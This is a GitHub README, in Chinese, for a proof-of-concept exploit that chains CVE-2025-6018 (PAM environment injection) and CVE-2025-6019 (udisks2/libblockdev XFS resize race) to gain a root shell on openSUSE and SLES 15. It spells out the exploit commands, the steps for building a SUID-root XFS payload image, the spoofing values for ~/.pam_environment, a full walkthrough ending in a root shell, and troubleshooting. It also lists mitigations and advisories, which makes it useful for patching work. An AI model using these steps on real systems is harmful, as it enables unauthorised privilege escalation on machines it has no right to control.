DesertDemons/CVE-2025-6018-6019
GitHub: DesertDemons/CVE-2025-6018-6019
针对 openSUSE/SLES 15 的链式本地提权 PoC,通过 PAM 环境注入绕过 polkit 认证后利用 udisks2 的 XFS 竞态条件获取 root shell。
Stars: 1 | Forks: 0
# CVE-2025-6018 CVE-2025-6019 PoC Exploit
## 本地权限提升 (LPE) - openSUSE / SUSE Linux Enterprise 15
[](https://nvd.nist.gov/vuln/detail/CVE-2025-6018)
[](https://nvd.nist.gov/vuln/detail/CVE-2025-6019)
[](#usage)
[](#full-exploitation-walkthrough)
[](LICENSE)
## 🎯 概要
| CVE ID | 漏洞 | 影响 |
|--------|---------------|--------|
| **CVE-2025-6018** | PAM 环境变量注入 | 绕过至 `allow_active` polkit 状态 |
| **CVE-2025-6019** | udisks2/libblockdev XFS 调整大小竞态条件 | **Root shell** |
### 攻击链
```
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
```
## 🔥 概念验证演示
```
# 检查漏洞
./exploit.sh --check
# 设置 PAM bypass (CVE-2025-6018)
./exploit.sh --setup
# 重连 SSH, 然后: su - $USER
# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# 结果: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)
```
## 📥 安装
```
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
```
## 🎯 受影响的系统
- ✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
- ✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
- ✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6
### 易受攻击的组件
- **PAM** (Linux-PAM 1.3.0 - 1.6.0) 且配置了 `user_readenv=1`
- **udisks2** 2.9.x 配合 libblockdev
- **polkit** 对 udisks2 操作配置了 `allow_active: yes`
## 📖 用法
### 选项 1: 检查漏洞
```
./exploit.sh --check
```
### 选项 2: 设置 PAM 绕过 (CVE-2025-6018)
```
./exploit.sh --setup
# 然后: 退出 SSH, 重连, 运行: su - $USER
```
### 选项 3: 利用 (CVE-2025-6019)
```
./exploit.sh --exploit /tmp/xfs.img
```
### 选项 4: 全自动模式
```
./exploit.sh --auto /tmp/xfs.img
```
### 选项 5: 显示镜像创建说明
```
./exploit.sh --create-image
```
## 🛠️ 创建 XFS Payload 镜像
**在攻击者机器上以 root 身份运行:**
```
# 使用辅助脚本
sudo ./create_image.sh /path/to/victim/bash xfs.img
# 或手动:
sudo su -
scp user@target:/usr/bin/bash /tmp/bash
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs xfs.img
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUST show: -rwsr-xr-x
umount /tmp/mnt
scp xfs.img user@target:/tmp/
```
## 🔬 技术细节
### CVE-2025-6018: PAM 环境注入
**漏洞:** PAM 的 `pam_env` 模块在 `user_readenv=1`(SUSE 默认开启)时读取 `~/.pam_environment`,允许环境变量注入。
**利用:** 设置 `XDG_SEAT=seat0` 和 `XDG_VTNR=1` 以欺骗 systemd-logind 授予 `allow_active` polkit 权限。
```
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
```
### CVE-2025-6019: XFS 调整大小竞态条件
**漏洞:** 当通过 udisks2 调整 XFS 文件系统大小时,libblockdev 会临时挂载文件系统,但**没有**使用 `nosuid` 标志。
**利用:**
1. 创建包含 SUID root 二进制文件的 XFS 镜像
2. 设置 loop device
3. 通过 D-Bus 触发调整大小
4. 在临时挂载期间竞态执行 SUID 二进制文件
5. 获得 root shell
## 📋 完整利用演练
### 步骤 1: 检查漏洞
```
./exploit.sh --check
```
输出:
```
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
```
### 步骤 2: 设置 PAM 绕过
```
./exploit.sh --setup
exit
ssh user@target
su - $USER
```
### 步骤 3: 验证 allow_active
```
./exploit.sh --check
```
输出:
```
[+] allow_active status: YES
You have allow_active privileges!
```
### 步骤 4: 传输 XFS 镜像
```
# 在攻击者端:
scp xfs.img user@target:/tmp/
```
### 步骤 5: 利用
```
./exploit.sh --exploit /tmp/xfs.img
```
输出:
```
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#
```
## 🔧 故障排除
| 问题 | 解决方案 |
|-------|----------|
| `allow_active: NO` | 运行 `--setup`,退出 SSH,重新连接,运行 `su - $USER` |
| `Image is not XFS` | 使用 `mkfs.xfs`,而不是 `mkfs.ext4` |
| `SUID not working` | 验证攻击者机器上的 `-rwsr-xr-x` 权限 |
| `Race condition missed` | 再次运行 exploit(通常 1-3 次尝试内成功) |
| `Architecture mismatch` | 使用受害者的 `/usr/bin/bash` 二进制文件 |
## 🛡️ 缓解措施
### 立即修复
```
# 在 PAM 中禁用 user_readenv
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
# 或限制 udisks2 polkit 策略
# 将 allow_active 从 "yes" 改为 "auth_admin"
```
### 厂商补丁
- 更新 PAM, udisks2, 和 libblockdev 软件包
- 查看 SUSE 安全公告
## 📚 参考资料
- [Qualys 安全公告](https://www.qualys.com/2025/06/17/cve-2025-6018-6019/)
- [Qualys 技术文章](https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt)
- [SUSE CVE-2025-6018](https://www.suse.com/security/cve/CVE-2025-6018.html)
- [SUSE CVE-2025-6019](https://www.suse.com/security/cve/CVE-2025-6019.html)
- [NVD CVE-2025-6018](https://nvd.nist.gov/vuln/detail/CVE-2025-6018)
- [NVD CVE-2025-6019](https://nvd.nist.gov/vuln/detail/CVE-2025-6019)
## 🏆 致谢
- **Qualys Threat Research Unit** - 原始漏洞发现
- **DesertDemons** - PoC exploit 开发
## ⚠️ 免责声明
本工具仅用于**授权的安全测试和教育目的**。未经授权访问计算机系统是非法的。作者不对任何滥用行为负责。
## 📄 许可证
[MIT License](LICENSE)
## 🔍 关键词
`CVE-2025-6018` `CVE-2025-6019` `PoC` `Proof of Concept` `Exploit` `Privilege Escalation` `LPE` `Local Privilege Escalation` `Root` `openSUSE` `SUSE` `SLES` `PAM` `pam_env` `udisks2` `libblockdev` `XFS` `Race Condition` `Security` `Vulnerability` `Pentest`
⭐ 如果这个项目对你有帮助,请给个 Star! ⭐
标签:CSV导出, CVE-2025-6018, CVE-2025-6019, Exploit, libblockdev, Linux 内核安全, LPE, Metasploit 模块, openSUSE, PAM 环境变量注入, PAM 绕过, PE 加载器, PoC, Polkit 提权, SUSE Linux, udisks2, Web报告查看器, XFS 竞态条件, 协议分析, 应用安全, 暴力破解, 本地提权, 权限提升, 漏洞分析, 编程工具, 网络安全, 路径探测, 远程代码执行, 隐私保护, 项目管理